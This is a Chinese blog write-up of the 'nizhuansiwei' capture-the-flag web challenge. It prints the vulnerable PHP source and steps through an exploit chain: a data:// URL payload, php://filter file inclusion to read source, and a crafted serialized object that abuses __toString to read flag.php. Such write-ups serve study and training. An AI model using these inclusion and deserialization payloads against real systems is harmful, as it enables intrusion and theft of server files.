【CTF系列】攻防世界-nizhuansiwei

本文通过一个具体的代码审计案例,展示了如何利用file_get_contents、include及反序列化等技术手段,逐步破解并获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


相关信息:

hint:无

进入网站后,便能显示源码,是一道代码审计题目。


<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
// text 需要等于 welcome
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
// 文件名中不能包含 flag
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
// 可能需要读取 useless.php
        include($file);  //useless.php
// php 反序列化
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

我在源码中写了一些关键信息。

我还收集了一些其他信息

  • 服务器信息
  • 网站路径(有些题目不扫路径确实做不出来)

网站使用 PHP 和 Apache 搭建,并没有 Cookie。Web 路径如下:

(图片说明:访问 flag.php 并没有 flag)


1 file_get_content

第一步,我们需要将变量 text 赋值为 welcome to the zjctf,我们需要使用到 file_get_content 读取网页的功能

首先尝试 data 协议,如果 data 协议可以实现,那么 php://input 也应该可以实现。

构造后的 URL:http://111.200.241.244:45370/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

再尝试使用 php://input 实现

PS: Hackbar 发送 POST 必须要含等号,否则无数据。(满满都是心酸泪


2 include

通过第一步的测试,我们可以正常一些配置信息如下:

  1. allow_url_include:on
  2. allow_url_fopen:on

第二步就是利用 include 尝试读取源码注释的文件名(useless.php)。

所以这里我们采用 php://filter 伪协议来读取。

使用 base64 脚本解码:

<?php
//读取文件流
$fileData = file_get_contents("1.txt");
//将文件写入本地
file_put_contents("useless.php", base64_decode($fileData));

解码后的源码为:

<?php

class Flag
{  //flag.php  
    public $file;
    public function __tostring()
    {
        if (isset($this->file)) {
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

3 反序列化

在 useless.php 中的注释,是在暗示 flag 位于 flag.php 文件中,我们将 file 改为 flag.php 即可。

<?php

class Flag
{  //flag.php  
    public $file = "flag.php";
}

$obj = new Flag();
echo urlencode(serialize($obj));

将 file 改为 php,让 include 执行 useless.php,从而引入 Flag 类,最后访问即可得到 flag(代码在源码中)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值